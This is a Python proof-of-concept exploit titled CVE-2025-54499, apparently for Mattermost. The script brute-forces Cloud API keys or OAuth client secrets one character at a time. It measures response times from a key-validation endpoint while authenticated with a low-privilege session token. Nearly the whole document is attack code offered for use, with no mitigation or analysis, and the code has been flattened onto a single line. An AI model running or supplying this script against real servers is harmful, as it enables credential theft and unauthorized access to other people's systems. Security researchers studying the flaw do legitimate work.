CVE-2025-54499

#!/usr/bin/env python3 """ CVE-2025-54499 - Mattermost Timing Attack PoC Demonstrates byte-by-byte timing oracle attack on Cloud API keys and OAuth client secrets via response time analysis. """ import requests import time import string import statistics from typing import Optional TARGET_URL = "https://mattermost.example.com/api/v4/cloud/keys/validate" SESSION_TOKEN = "your_low_privilege_session_token" KEY_CHARSET = string.ascii_letters + string.digits + "-_" KEY_LENGTH = 32 # Adjust based on target key length SAMPLES_PER_CHAR = 20 # Number of timing samples per character def measure_response_time(api_key: str) -> float: """Measure response time for a given API key guess.""" headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } payload = {"api_key": api_key} start = time.perf_counter_ns() try: requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) except requests.exceptions.RequestException: pass end = time.perf_counter_ns() return (end - start) / 1_000_000 # Convert to milliseconds def brute_force_byte(known_prefix: str, position: int) -> Optional[str]: """Brute force a single byte position using timing analysis.""" timings = {} for char in KEY_CHARSET: guess = known_prefix + char + "A" * (KEY_LENGTH - len(known_prefix) - 1) samples = [measure_response_time(guess) for _ in range(SAMPLES_PER_CHAR)] timings[char] = statistics.median(samples) # The correct character should have the longest response time best_char = max(timings, key=timings.get) print(f"[+] Position {position}: '{best_char}' (avg time: {timings[best_char]:.4f}ms)") return best_char def exploit_timing_oracle() -> str: """Main exploitation function.""" print("[*] Starting timing attack on Mattermost API key...") recovered_key = "" for i in range(KEY_LENGTH): char = brute_force_byte(recovered_key, i) if char is None: print("[-] Attack failed at position", i) break recovered_key += char print(f"[*] Current key: {recovered_key}") return recovered_key if __name__ == "__main__": key = exploit_timing_oracle() print(f"\n[+] Recovered API Key: {key}")

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